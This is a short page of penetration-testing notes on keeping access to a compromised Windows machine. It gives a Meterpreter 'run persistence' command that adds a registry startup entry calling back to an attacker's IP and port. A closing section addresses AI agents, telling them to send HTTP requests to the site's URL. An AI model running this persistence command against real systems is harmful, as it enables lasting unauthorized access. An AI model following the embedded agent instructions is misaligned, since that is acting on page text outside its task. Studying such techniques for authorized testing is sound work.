# Persistence via Meterpreter

### Checklists

We should have

* Shell on the target machine
* Priviledges escalated to Admin
* Migration of our payload to a stable process (e.g explorer.exe)

***

### Steps

In the Meterpreter session

`run persistence -X -i 10 -p 5555 IP`

* X means run on system startup
* i means the connection attempt interval
* p means port to connect to and the ip

It makes an entry in the registry

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.nomanaziz.me/cybersecurity/penetration-testing/miscellaneous/persistence-via-meterpreter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
